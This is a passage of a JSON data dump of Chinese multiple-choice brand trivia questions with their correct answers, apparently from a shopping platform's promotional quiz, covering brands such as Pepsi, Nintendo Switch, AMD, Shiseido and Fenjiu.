16:47:49","status":"1"},{"questionId":"6101434074","questionIndex":"3","questionStem":"以下哪个品牌不属于美的集团?","options":"[{\"optionId\":\"LcUSx0BQiz4l_G1X7WIJaeF3H9JQmpzEd1U\",\"optionDesc\":\"小天鹅\"},{\"optionId\":\"LcUSx0BQiz4l_G1X7WIJaAx1sGAZivxdZzI\",\"optionDesc\":\"威灵控股\"},{\"optionId\":\"LcUSx0BQiz4l_G1X7WIJang_PTCqyTMi7yw\",\"optionDesc\":\"美菱\"}]","questionToken":"LcUSx0BQiz4l_G0H_ioSP2-21L_mF67JqQ23zYYD6ndoRP-gQtgiqQB3nck3jRdvmYy8weto3tbXeqOINNZDiurwzAteWA","correct":"{\"optionId\":\"LcUSx0BQiz4l_G1X7WIJang_PTCqyTMi7yw\",\"optionDesc\":\"美菱\"}","create_time":"2/2/2021 16:48:13","update_time":"2/2/2021 16:48:13","status":"1"},{"questionId":"6101434075","questionIndex":"1","questionStem":"百事可乐是诞生于哪个国家的品牌?","options":"[{\"optionId\":\"LcUSx0BQiz4l_W1X7WIJaV4eU3XuYCWw0Q\",\"optionDesc\":\"中国\"},{\"optionId\":\"LcUSx0BQiz4l_W1X7WIJaqp-o3vsPN5EzA\",\"optionDesc\":\"美国\"},{\"optionId\":\"LcUSx0BQiz4l_W1X7WIJaKf55_KBr1YeTg\",\"optionDesc\":\"英国\"}]","questionToken":"LcUSx0BQiz4l_W0F_ioSOG3LjZEjJg5p_AgVuaYCsFKWjHhEBt0I6iJhKJNfn8TCJxdlwgbnfNF2VbooDDzZEGZmOprypQ","correct":"{\"optionId\":\"LcUSx0BQiz4l_W1X7WIJaqp-o3vsPN5EzA\",\"optionDesc\":\"美国\"}","create_time":"2/2/2021 16:47:41","update_time":"2/2/2021 16:47:41","status":"1"},{"questionId":"6101434076","questionIndex":"5","questionStem":"以下哪个属于百事可乐旗下品牌?","options":"[{\"optionId\":\"LcUSx0BQiz4l_m1X7WIJaRDYfGSTonhhAnY\",\"optionDesc\":\"芬达\"},{\"optionId\":\"LcUSx0BQiz4l_m1X7WIJaKs98cVZZC5aR58\",\"optionDesc\":\"雪碧\"},{\"optionId\":\"LcUSx0BQiz4l_m1X7WIJakX5Luf1foE8kyw\",\"optionDesc\":\"美年达\"}]","questionToken":"LcUSx0BQiz4l_m0B_ioSOCv_YWOqtNqBIXSB2gEdZ3rCwZvhNnhOwINQqQuGITkUFmv6bFSGSWUHwR5fFjc-N9nM02I0yg","correct":"{\"optionId\":\"LcUSx0BQiz4l_m1X7WIJakX5Luf1foE8kyw\",\"optionDesc\":\"美年达\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6101434077","questionIndex":"1","questionStem":"百事可乐的品牌主色调是?","options":"[{\"optionId\":\"LcUSx0BQiz4l_21X7WIJabv-XKKL9Fvy5h__1w\",\"optionDesc\":\"红色\"},{\"optionId\":\"LcUSx0BQiz4l_21X7WIJaiNQHknJhTE3YTJoKw\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"LcUSx0BQiz4l_21X7WIJaFPXHCLB5TMiOnP6Zw\",\"optionDesc\":\"绿色\"}]","questionToken":"LcUSx0BQiz4l_20F_ioSODsCWhHAQmtfC6Dy1HUbqUGUAMkyYcNMSSBw_fvSM1SY4UjrWY1v416rmjUHxH3H2dFtxuUS7g","correct":"{\"optionId\":\"LcUSx0BQiz4l_21X7WIJaiNQHknJhTE3YTJoKw\",\"optionDesc\":\"蓝色\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"6101434078","questionIndex":"5","questionStem":"下列哪个是百事可乐无糖独有的口味?","options":"[{\"optionId\":\"LcUSx0BQiz4l8G1X7WIJajPFuLEqxexV-6PKGw\",\"optionDesc\":\"树莓味\"},{\"optionId\":\"LcUSx0BQiz4l8G1X7WIJaDVMCK68XyF6bCN8Fg\",\"optionDesc\":\"生姜味\"},{\"optionId\":\"LcUSx0BQiz4l8G1X7WIJaTNbK66DrPS2-0nGyA\",\"optionDesc\":\"咖啡味\"}]","questionToken":"LcUSx0BQiz4l8G0B_ioSOCUoazR-bAgta8o7P8BFFruCU8IB4Voor-Im8ApVXDjlGrFq2nsqHs1OrdDjhWTnv8ItIkpS0g","correct":"{\"optionId\":\"LcUSx0BQiz4l8G1X7WIJajPFuLEqxexV-6PKGw\",\"optionDesc\":\"树莓味\"}","create_time":"2/2/2021 16:47:58","update_time":"2/2/2021 16:47:58","status":"1"},{"questionId":"6101434079","questionIndex":"1","questionStem":"佳得乐是什么类型的饮料?","options":"[{\"optionId\":\"LcUSx0BQiz4l8W1X7WIJah_J9YTXBJxAt2c\",\"optionDesc\":\"运动饮料\"},{\"optionId\":\"LcUSx0BQiz4l8W1X7WIJaCSfEb17NHlEvZs\",\"optionDesc\":\"果味饮料\"},{\"optionId\":\"LcUSx0BQiz4l8W1X7WIJaTnBuCnLfkYM4ug\",\"optionDesc\":\"功能饮料\"}]","questionToken":"LcUSx0BQiz4l8W0F_ioSOK5PkB-bQNyYT_X2nVW7cTRB60kT3XNKqj9CKiHCxoYwqtdwCL90nX18UXQRm385KRL5QOuRVw","correct":"{\"optionId\":\"LcUSx0BQiz4l8W1X7WIJah_J9YTXBJxAt2c\",\"optionDesc\":\"运动饮料\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"6101434080","questionIndex":"4","questionStem":"国行NS是哪一年正式登陆京东平台的?","options":"[{\"optionId\":\"LcUSx0BQiz4q-G1X7WIJaXelGfAoNZt9xHA\",\"optionDesc\":\"2020年\"},{\"optionId\":\"LcUSx0BQiz4q-G1X7WIJaE88VXYHaQL0-DA\",\"optionDesc\":\"2021年\"},{\"optionId\":\"LcUSx0BQiz4q-G1X7WIJalqdXB6HRZFKKv0\",\"optionDesc\":\"2019年\"}]","questionToken":"LcUSx0BQiz4q-G0A_ioSP7maLnhsXuzETABe6gvfgqs63mIzdMV3B5gBMdCx9Esx51viRzNinswixxnzv01DBVh3pLgT0g","correct":"{\"optionId\":\"LcUSx0BQiz4q-G1X7WIJalqdXB6HRZFKKv0\",\"optionDesc\":\"2019年\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 16:47:49","status":"1"},{"questionId":"6101434081","questionIndex":"5","questionStem":"以下哪个商品属于国行Nintendo Switch?","options":"[{\"optionId\":\"LcUSx0BQiz4q-W1X7WIJaUPvLEtooMa3YQ\",\"optionDesc\":\"Xbox 天蝎座\"},{\"optionId\":\"LcUSx0BQiz4q-W1X7WIJaBThbZKjuEu-VA\",\"optionDesc\":\"PS4 Slim\"},{\"optionId\":\"LcUSx0BQiz4q-W1X7WIJatidHjHPJK2npQ\",\"optionDesc\":\"Pro手柄\"}]","questionToken":"LcUSx0BQiz4q-W0B_ioSP9Wi-SNVQIlxbBA8Y3lE9qqw3J7phnD5Vs46P3ovXkhon5sjprxgP8oJSBRHDGyAl6SxQG39ZQ","correct":"{\"optionId\":\"LcUSx0BQiz4q-W1X7WIJatidHjHPJK2npQ\",\"optionDesc\":\"Pro手柄\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 16:47:49","status":"1"},{"questionId":"6101434082","questionIndex":"1","questionStem":"国行Nintendo Switch的主机标志配色为?","options":"[{\"optionId\":\"LcUSx0BQiz4q-m1X7WIJaBVrAiVGcqOnxZGYfA\",\"optionDesc\":\"蓝黄手柄+主机\"},{\"optionId\":\"LcUSx0BQiz4q-m1X7WIJaq6-Jw2LLCV6AWQ0LQ\",\"optionDesc\":\"红蓝手柄+主机\"},{\"optionId\":\"LcUSx0BQiz4q-m1X7WIJaepQmyVYOJEBgLMhYQ\",\"optionDesc\":\"灰色手柄+主机\"}]","questionToken":"LcUSx0BQiz4q-m0F_ioSPzlOloncL9FdHktnhHAWkaWe8oNU0kl-ZAxlHUjz0cB59QG65tSV_BDsPWNE65VWAIRj-feAvg","correct":"{\"optionId\":\"LcUSx0BQiz4q-m1X7WIJaq6-Jw2LLCV6AWQ0LQ\",\"optionDesc\":\"红蓝手柄+主机\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"6101434083","questionIndex":"4","questionStem":"以下哪个不属于国行Nintendo Switch业务?","options":"[{\"optionId\":\"LcUSx0BQiz4q-21X7WIJarKSl9DG-XQJyVM\",\"optionDesc\":\"鼠标键盘\"},{\"optionId\":\"LcUSx0BQiz4q-21X7WIJaITH6FX9tujstXg\",\"optionDesc\":\"游戏主机\"},{\"optionId\":\"LcUSx0BQiz4q-21X7WIJaXjH7bIt_emYlKA\",\"optionDesc\":\"游戏周边\"}]","questionToken":"LcUSx0BQiz4q-20A_ioSOLcp2WzKJZ8beorNFxvt8OVDK9js0kK7hTnDaatV-ok7pqWlEQsQYS_v8IQT0WZo7ser2PzywQ","correct":"{\"optionId\":\"LcUSx0BQiz4q-21X7WIJarKSl9DG-XQJyVM\",\"optionDesc\":\"鼠标键盘\"}","create_time":"2/2/2021 16:47:54","update_time":"2/2/2021 16:47:54","status":"1"},{"questionId":"6101434084","questionIndex":"1","questionStem":"以下哪个国行Nintendo Switch配件最受欢迎","options":"[{\"optionId\":\"LcUSx0BQiz4q_G1X7WIJatvQo56guDN5QAfe\",\"optionDesc\":\"Pro手柄\"},{\"optionId\":\"LcUSx0BQiz4q_G1X7WIJaQ49j0nugvg2W473\",\"optionDesc\":\"Joy-Con腕带\"},{\"optionId\":\"LcUSx0BQiz4q_G1X7WIJaK2qy5Ebhb-P4DyX\",\"optionDesc\":\"Joy-Con充电握把\"}]","questionToken":"LcUSx0BQiz4q_G0F_ioSOA4Q1-4zt_11QSY7PJoAs0XrSz5Zului7FxkHfHFwEOMa0O-A3CRFcmuwZP2NOI3mM7n6Ol8HQ","correct":"{\"optionId\":\"LcUSx0BQiz4q_G1X7WIJatvQo56guDN5QAfe\",\"optionDesc\":\"Pro手柄\"}","create_time":"2/2/2021 16:47:51","update_time":"2/2/2021 16:47:51","status":"1"},{"questionId":"6101434085","questionIndex":"5","questionStem":"美素佳儿奶源地是哪里?","options":"[{\"optionId\":\"LcUSx0BQiz4q_W1X7WIJaGB9UEW9bn2XpdzK\",\"optionDesc\":\"美国\"},{\"optionId\":\"LcUSx0BQiz4q_W1X7WIJaq-1v9SPN3SKtL_G\",\"optionDesc\":\"荷兰\"},{\"optionId\":\"LcUSx0BQiz4q_W1X7WIJaR8LciL_Wn3HTmce\",\"optionDesc\":\"中国\"}]","questionToken":"LcUSx0BQiz4q_W0B_ioSOPMmeNJmEM8a5byDi48Rv6id_obQnOtSvDrsXizoYe7L5CDxc1Po9K9LKEFQjF5MPNTt_qqysQ","correct":"{\"optionId\":\"LcUSx0BQiz4q_W1X7WIJaq-1v9SPN3SKtL_G\",\"optionDesc\":\"荷兰\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"6101434087","questionIndex":"4","questionStem":"1-3岁的幼儿适合喝几段奶粉?","options":"[{\"optionId\":\"LcUSx0BQiz4q_21X7WIJaELU9iP-hb3v1Os\",\"optionDesc\":\"4段\"},{\"optionId\":\"LcUSx0BQiz4q_21X7WIJahTF6FA5xE0pk-E\",\"optionDesc\":\"3段\"},{\"optionId\":\"LcUSx0BQiz4q_21X7WIJaQPw9RMYFMXFT58\",\"optionDesc\":\"2段\"}]","questionToken":"LcUSx0BQiz4q_20A_ioSOH0HE_8HTRsbitZO9MfFfXINZq_5kVcxzxMBVGg_5T8G-qV35bcGRsJAwiYlJW6jiBUaHxwbQQ","correct":"{\"optionId\":\"LcUSx0BQiz4q_21X7WIJahTF6FA5xE0pk-E\",\"optionDesc\":\"3段\"}","create_time":"2/2/2021 16:47:45","update_time":"2/2/2021 16:47:45","status":"1"},{"questionId":"6101434088","questionIndex":"5","questionStem":"皇家美素佳儿1-3段奶粉特点是?","options":"[{\"optionId\":\"LcUSx0BQiz4q8G1X7WIJaRqxm_-t7xtMkWYT\",\"optionDesc\":\"20倍乳铁蛋白\"},{\"optionId\":\"LcUSx0BQiz4q8G1X7WIJalbLEiCRQJe-yDeU\",\"optionDesc\":\"30倍乳铁蛋白\"},{\"optionId\":\"LcUSx0BQiz4q8G1X7WIJaOcfbftR5FLikTl9\",\"optionDesc\":\"50倍乳铁蛋白\"}]","questionToken":"LcUSx0BQiz4q8G0B_ioSOL6KtJkW2rvnLCfM_yUs221aprNpMfzgM0WqSP5QGmE6YyI5UYkWCaZgAwVP1kC5OQM6i7ndtg","correct":"{\"optionId\":\"LcUSx0BQiz4q8G1X7WIJalbLEiCRQJe-yDeU\",\"optionDesc\":\"30倍乳铁蛋白\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6101434089","questionIndex":"1","questionStem":"美素佳儿一共有几款消消乐礼盒?","options":"[{\"optionId\":\"LcUSx0BQiz4q8W1X7WIJaHOEMR5jTJltNwoD\",\"optionDesc\":\"6款\"},{\"optionId\":\"LcUSx0BQiz4q8W1X7WIJaoUL-Qzh7tPcLTIj\",\"optionDesc\":\"5款\"},{\"optionId\":\"LcUSx0BQiz4q8W1X7WIJac-CEppJ4BxolJMR\",\"optionDesc\":\"4款\"}]","questionToken":"LcUSx0BQiz4q8W0F_ioSP7IM6VWs3Bjh7uP_Niy2yh_J7CSJTWHFJ6kpcuf2m4u083AMGW4olXGiKzNBuWGGt7fS0ot92w","correct":"{\"optionId\":\"LcUSx0BQiz4q8W1X7WIJaoUL-Qzh7tPcLTIj\",\"optionDesc\":\"5款\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"6101434090","questionIndex":"2","questionStem":"AMD是哪一年在硅谷创立的?","options":"[{\"optionId\":\"LcUSx0BQiz4r-G1X7WIJaNYOheHPPASV1lI\",\"optionDesc\":\"1989\"},{\"optionId\":\"LcUSx0BQiz4r-G1X7WIJaqpO-8sWa9RX_KU\",\"optionDesc\":\"1969\\t\\t\"},{\"optionId\":\"LcUSx0BQiz4r-G1X7WIJaS4G1g-5gZZmXxY\",\"optionDesc\":\"1979\"}]","questionToken":"LcUSx0BQiz4r-G0G_ioSOC-x-ViGbzS3JnjtfGdxSLJEAxWCP4MzfTIMypb4HOCHg7cbPMZwrDEmKVPmoMYH-wAwsufmFw","correct":"{\"optionId\":\"LcUSx0BQiz4r-G1X7WIJaqpO-8sWa9RX_KU\",\"optionDesc\":\"1969\\t\\t\"}","create_time":"2/2/2021 16:47:36","update_time":"2/2/2021 16:47:36","status":"1"},{"questionId":"6101434091","questionIndex":"5","questionStem":"AMD的总裁兼首席执行官是谁?","options":"[{\"optionId\":\"LcUSx0BQiz4r-W1X7WIJaSDHi0JnBx1GoqhQ\",\"optionDesc\":\"乔伯斯\"},{\"optionId\":\"LcUSx0BQiz4r-W1X7WIJaKvnEiSNH2l-HOUF\",\"optionDesc\":\"岳琪\"},{\"optionId\":\"LcUSx0BQiz4r-W1X7WIJaqcCeDED-49LwHz5\",\"optionDesc\":\"苏姿丰\"}]","questionToken":"LcUSx0BQiz4r-W0B_ioSOKVOFue-8FVG-U840FR3jF8u2NiGT6z5Xd1ZjMoPsQgCpg7Uk5vYpDYmQCll-Dp-7Twrv6Fncw","correct":"{\"optionId\":\"LcUSx0BQiz4r-W1X7WIJaqcCeDED-49LwHz5\",\"optionDesc\":\"苏姿丰\"}","create_time":"2/2/2021 16:48:10","update_time":"2/2/2021 16:48:10","status":"1"},{"questionId":"6101434092","questionIndex":"5","questionStem":"AMD中国区总部在那个城市?","options":"[{\"optionId\":\"LcUSx0BQiz4r-m1X7WIJabAzggI8igATbQNG\",\"optionDesc\":\"成都\"},{\"optionId\":\"LcUSx0BQiz4r-m1X7WIJaDoqmQK9Oo-46mx6\",\"optionDesc\":\"深圳\"},{\"optionId\":\"LcUSx0BQiz4r-m1X7WIJagkG5ZeDEkuO2PaQ\",\"optionDesc\":\"北京\"}]","questionToken":"LcUSx0BQiz4r-m0B_ioSONqLcM51mqrDa2_4lvY36hs1VMGl7zlfCmWbpfxNCYuTQna2IEBmf86-Ml7iMBu3Q51vzYH2pQ","correct":"{\"optionId\":\"LcUSx0BQiz4r-m1X7WIJagkG5ZeDEkuO2PaQ\",\"optionDesc\":\"北京\"}","create_time":"2/2/2021 16:47:37","update_time":"2/2/2021 16:47:37","status":"1"},{"questionId":"6101434093","questionIndex":"5","questionStem":"AMD的中文名字是什么?","options":"[{\"optionId\":\"LcUSx0BQiz4r-21X7WIJaKFv91xvOxlOPufHXg\",\"optionDesc\":\"超越\"},{\"optionId\":\"LcUSx0BQiz4r-21X7WIJadPNfkIBjn20fU2Ozg\",\"optionDesc\":\"超能\"},{\"optionId\":\"LcUSx0BQiz4r-21X7WIJathuhs1rzWIifzGrxA\",\"optionDesc\":\"超威\"}]","questionToken":"LcUSx0BQiz4r-20B_ioSP5mrWae5QZ_1M11kGsD6yifJYYmx3nz6EjuAwAyz_qxEs4eu7f5lCsX_oOX-ITNOMsEvLtxnXA","correct":"{\"optionId\":\"LcUSx0BQiz4r-21X7WIJathuhs1rzWIifzGrxA\",\"optionDesc\":\"超威\"}","create_time":"2/2/2021 16:47:40","update_time":"2/2/2021 16:47:40","status":"1"},{"questionId":"6101434094","questionIndex":"3","questionStem":"AMD最新锐龙处理器采用几纳米的制程工艺?","options":"[{\"optionId\":\"LcUSx0BQiz4r_G1X7WIJafKqKwPnogeGZMA\",\"optionDesc\":\"12nm\"},{\"optionId\":\"LcUSx0BQiz4r_G1X7WIJaFzUuoFXD2-Q0sc\",\"optionDesc\":\"14nm\"},{\"optionId\":\"LcUSx0BQiz4r_G1X7WIJasaVzd0lzu2LlcY\",\"optionDesc\":\"7nm\"}]","questionToken":"LcUSx0BQiz4r_G0H_ioSOLIF0q2I96eVwvku6o9nnlB7XXCQ3RE6qGNy9SN1BilLsXjfepLEjAFREIOeCXay7zXbWNIQIw","correct":"{\"optionId\":\"LcUSx0BQiz4r_G1X7WIJasaVzd0lzu2LlcY\",\"optionDesc\":\"7nm\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 16:47:34","status":"1"},{"questionId":"6101434095","questionIndex":"5","questionStem":"大王goo.n纸尿裤是哪个国家的品牌?","options":"[{\"optionId\":\"LcUSx0BQiz4r_W1X7WIJaHjkm9QPVNRJnLw\",\"optionDesc\":\"中国\"},{\"optionId\":\"LcUSx0BQiz4r_W1X7WIJaV5tKF9UNzBRr6w\",\"optionDesc\":\"美国\"},{\"optionId\":\"LcUSx0BQiz4r_W1X7WIJakr87w9hz1CxVvQ\",\"optionDesc\":\"日本\\t\\t\"}]","questionToken":"LcUSx0BQiz4r_W0B_ioSP008ojS1akqcjSm9uRIXDMaaK_Ptt3kohouwZ2hxBfpO3tX12_6Amq5Gnxv7g1LYqrMknyFM3w","correct":"{\"optionId\":\"LcUSx0BQiz4r_W1X7WIJakr87w9hz1CxVvQ\",\"optionDesc\":\"日本\\t\\t\"}","create_time":"2/2/2021 16:47:54","update_time":"2/2/2021 16:47:54","status":"1"},{"questionId":"6101434096","questionIndex":"1","questionStem":"大王goo.n的中国工厂位于哪里?","options":"[{\"optionId\":\"LcUSx0BQiz4r_m1X7WIJab6RbeeaBXRJ8iPj3A\",\"optionDesc\":\"上海\"},{\"optionId\":\"LcUSx0BQiz4r_m1X7WIJaE8hZyJ4v42yrHFH6A\",\"optionDesc\":\"苏州\"},{\"optionId\":\"LcUSx0BQiz4r_m1X7WIJauNlAixMNK1Qbny8gg\",\"optionDesc\":\"南通\\t\\t\"}]","questionToken":"LcUSx0BQiz4r_m0F_ioSP4gadeBOjrcTvp-B71bWFCVhlDMqEvYO8RxLzgySroQKvwRGF7J9xyoqDWioE4McX1rQLeboeA","correct":"{\"optionId\":\"LcUSx0BQiz4r_m1X7WIJauNlAixMNK1Qbny8gg\",\"optionDesc\":\"南通\\t\\t\"}","create_time":"2/2/2021 16:49:02","update_time":"2/2/2021 16:49:02","status":"1"},{"questionId":"6101434097","questionIndex":"3","questionStem":"以下哪个系列的产品不是大王的?","options":"[{\"optionId\":\"LcUSx0BQiz4r_21X7WIJaJn3ng3OKedvBd8\",\"optionDesc\":\"光羽系列\"},{\"optionId\":\"LcUSx0BQiz4r_21X7WIJab-tGxw4PbmQ3Ss\",\"optionDesc\":\"天使系列\"},{\"optionId\":\"LcUSx0BQiz4r_21X7WIJaoz04RcPZfBWlNU\",\"optionDesc\":\"皇家系列\\t\\t\"}]","questionToken":"LcUSx0BQiz4r_20H_ioSOAO2lY9aIbvakh4UQbMiU4uskoUY3wcdqrs4x9WF6RJ6PUKlvgUHK-8mC6gpYFUKYntkptrAZw","correct":"{\"optionId\":\"LcUSx0BQiz4r_21X7WIJaoz04RcPZfBWlNU\",\"optionDesc\":\"皇家系列\\t\\t\"}","create_time":"2/2/2021 16:48:29","update_time":"2/2/2021 16:48:29","status":"1"},{"questionId":"6101434098","questionIndex":"1","questionStem":"大王goo.n最高端的是哪个系列?","options":"[{\"optionId\":\"LcUSx0BQiz4r8G1X7WIJaVV6pnmaYwRmF8VA\",\"optionDesc\":\"天使系列\"},{\"optionId\":\"LcUSx0BQiz4r8G1X7WIJaB7467BxrEYO2RCY\",\"optionDesc\":\"花信风系列\"},{\"optionId\":\"LcUSx0BQiz4r8G1X7WIJakfbOsqtFLSv6qA9\",\"optionDesc\":\"鎏金系列\"}]","questionToken":"LcUSx0BQiz4r8G0F_ioSP2hqdv1Caik0UE9vYgY-P7nGYU2kPMcDcjzgxSqZohS2_CSsIj1vB1oOs3qnqnInUmNtPUKxTg","correct":"{\"optionId\":\"LcUSx0BQiz4r8G1X7WIJakfbOsqtFLSv6qA9\",\"optionDesc\":\"鎏金系列\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6101434099","questionIndex":"2","questionStem":"以下哪个不属于大王goo.n业务的?","options":"[{\"optionId\":\"LcUSx0BQiz4r8W1X7WIJajhiXKRHeZv0OA4D\",\"optionDesc\":\"婴儿喂养\\t\\t\"},{\"optionId\":\"LcUSx0BQiz4r8W1X7WIJafgnE0u49q_SOvAP\",\"optionDesc\":\"清洁纸品\"},{\"optionId\":\"LcUSx0BQiz4r8W1X7WIJaHQShg37boM60nts\",\"optionDesc\":\"婴儿纸尿裤\"}]","questionToken":"LcUSx0BQiz4r8W0G_ioSODgqq6sE_hxrTbAILVafb2I4t6BUCTzArcf4SEwtU9ui8KiD9wYedrXSE39xe4vIzI03d-4n9w","correct":"{\"optionId\":\"LcUSx0BQiz4r8W1X7WIJajhiXKRHeZv0OA4D\",\"optionDesc\":\"婴儿喂养\\t\\t\"}","create_time":"2/2/2021 16:47:51","update_time":"2/2/2021 16:47:51","status":"1"},{"questionId":"6101434100","questionIndex":"3","questionStem":"资生堂是哪个国家的品牌?","options":"[{\"optionId\":\"LcUSx0BQiz_lr4gjm3x3j5XBjARyDuE6lITS\",\"optionDesc\":\"美国\"},{\"optionId\":\"LcUSx0BQiz_lr4gjm3x3jM8QGNe1FzF9YWiI\",\"optionDesc\":\"日本\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_lr4gjm3x3jvns_mgLwbuABWT4\",\"optionDesc\":\"中国\"}]","questionToken":"LcUSx0BQiz_lr4hziDRs2QvOpCT-WRgiIJ2h2CjjRxyPlSC0ZMq6rwWp_o1mA6odT6YUAvcmpGNjt7CeYeN0VRX9H6e5zw","correct":"{\"optionId\":\"LcUSx0BQiz_lr4gjm3x3jM8QGNe1FzF9YWiI\",\"optionDesc\":\"日本\\t\\t\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"6101434101","questionIndex":"5","questionStem":"哪个品牌不属于资生堂?","options":"[{\"optionId\":\"LcUSx0BQiz_lrogjm3x3jrj4_xuO_c4GKDYq\",\"optionDesc\":\"可悠然\"},{\"optionId\":\"LcUSx0BQiz_lrogjm3x3jKL4j1S5py3jg6N6\",\"optionDesc\":\"飘柔\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_lrogjm3x3j9qOMsX31clvP8Bg\",\"optionDesc\":\"惠润\"}]","questionToken":"LcUSx0BQiz_lroh1iDRs3nfjf8BeE4L55LXGLemKuESlA7tMUigHGv3JCVyDLv05e-lFq3Ck7I7pijtCugjM-pD9TMMu5Q","correct":"{\"optionId\":\"LcUSx0BQiz_lrogjm3x3jKL4j1S5py3jg6N6\",\"optionDesc\":\"飘柔\\t\\t\"}","create_time":"2/2/2021 16:48:16","update_time":"2/2/2021 16:48:16","status":"1"},{"questionId":"6101434102","questionIndex":"5","questionStem":"以下哪个不属于资生堂业务的?","options":"[{\"optionId\":\"LcUSx0BQiz_lrYgjm3x3jE3BQ5qAmbvRKw\",\"optionDesc\":\"营养健康\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_lrYgjm3x3joJ7C41JhM4SrQ\",\"optionDesc\":\"身体护理\"},{\"optionId\":\"LcUSx0BQiz_lrYgjm3x3j8pMbUYUUyBBCQ\",\"optionDesc\":\"洗发护发\"}]","questionToken":"LcUSx0BQiz_lrYh1iDRs2aORAraE4I0wG7Agp5bta06RZGChsLuOn57zjauIjF9jY3Bz31GCwPFeHV5pNacXA1utKjxA8A","correct":"{\"optionId\":\"LcUSx0BQiz_lrYgjm3x3jE3BQ5qAmbvRKw\",\"optionDesc\":\"营养健康\\t\\t\"}","create_time":"2/2/2021 16:47:40","update_time":"2/2/2021 16:47:40","status":"1"},{"questionId":"6101434103","questionIndex":"2","questionStem":"资生堂最畅销的品牌是哪个?","options":"[{\"optionId\":\"LcUSx0BQiz_lrIgjm3x3jLF-mgPXUq_mqQ\",\"optionDesc\":\"惠润\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_lrIgjm3x3jkerVinPekGpaQ\",\"optionDesc\":\"丝蓓绮\"},{\"optionId\":\"LcUSx0BQiz_lrIgjm3x3jwg1XRoH_NAvBQ\",\"optionDesc\":\"珊珂\"}]","questionToken":"LcUSx0BQiz_lrIhyiDRs2U8H4lidAdw71RZuwHUT1L3UXAmQ-UJn_h86LbNx3Cb1QzXNC_Or36UgQnQNWYLPa9J7mkmLQQ","correct":"{\"optionId\":\"LcUSx0BQiz_lrIgjm3x3jLF-mgPXUq_mqQ\",\"optionDesc\":\"惠润\\t\\t\"}","create_time":"2/2/2021 16:47:44","update_time":"2/2/2021 16:47:44","status":"1"},{"questionId":"6101434104","questionIndex":"1","questionStem":"资生堂标志的颜色是哪个?","options":"[{\"optionId\":\"LcUSx0BQiz_lq4gjm3x3jl7WgZZJU_ci4_oLNA\",\"optionDesc\":\"绿色\"},{\"optionId\":\"LcUSx0BQiz_lq4gjm3x3j7MKimWKRCTMHFV8pw\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"LcUSx0BQiz_lq4gjm3x3jPhAi3-tntYqWrh8-g\",\"optionDesc\":\"红色\\t\\t\"}]","questionToken":"LcUSx0BQiz_lq4hxiDRs2Wh5q2ICkOCaRdLPd8_eD3YsUGmPCgrLJ1JKq47sEf9KiNIVhClYf2QRxTxxoqJijGRc0-3TpA","correct":"{\"optionId\":\"LcUSx0BQiz_lq4gjm3x3jPhAi3-tntYqWrh8-g\",\"optionDesc\":\"红色\\t\\t\"}","create_time":"2/2/2021 16:48:25","update_time":"2/2/2021 16:48:25","status":"1"},{"questionId":"6101434105","questionIndex":"3","questionStem":"汾酒产自哪里?","options":"[{\"optionId\":\"LcUSx0BQiz_lqogjm3x3jjS0CA89gtvCRMb2pA\",\"optionDesc\":\"贵州\"},{\"optionId\":\"LcUSx0BQiz_lqogjm3x3jIVYBrL06GJKkzqUpg\",\"optionDesc\":\"山西\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_lqogjm3x3j5UpwgzI7apxnNsv5w\",\"optionDesc\":\"陕西\"}]","questionToken":"LcUSx0BQiz_lqohziDRs3tAVmVqhywqF0E-ZYQv64HMfB5wGhOTPfP0oHPybRAWFSs6P7tPnfZS9_gig-WuuPfnzTBmnyg","correct":"{\"optionId\":\"LcUSx0BQiz_lqogjm3x3jIVYBrL06GJKkzqUpg\",\"optionDesc\":\"山西\\t\\t\"}","create_time":"2/2/2021 16:48:00","update_time":"2/2/2021 16:48:00","status":"1"},{"questionId":"6101434106","questionIndex":"4","questionStem":"汾酒是属于什么香型的白酒?","options":"[{\"optionId\":\"LcUSx0BQiz_lqYgjm3x3j28o6tyeeBJGvDHT\",\"optionDesc\":\"酱香型\"},{\"optionId\":\"LcUSx0BQiz_lqYgjm3x3jsjHuTDuhdwugx2k\",\"optionDesc\":\"浓香型\"},{\"optionId\":\"LcUSx0BQiz_lqYgjm3x3jKW7AWJ2MMeO75vS\",\"optionDesc\":\"清香型\\t\\t\"}]","questionToken":"LcUSx0BQiz_lqYh0iDRs2YGMBfvK7JgheIToCvGeE_kTDDrFwnKiy_67Gqhx7k5O39py8MT4g6sIaWYkyhLOiyf4raCcvQ","correct":"{\"optionId\":\"LcUSx0BQiz_lqYgjm3x3jKW7AWJ2MMeO75vS\",\"optionDesc\":\"清香型\\t\\t\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 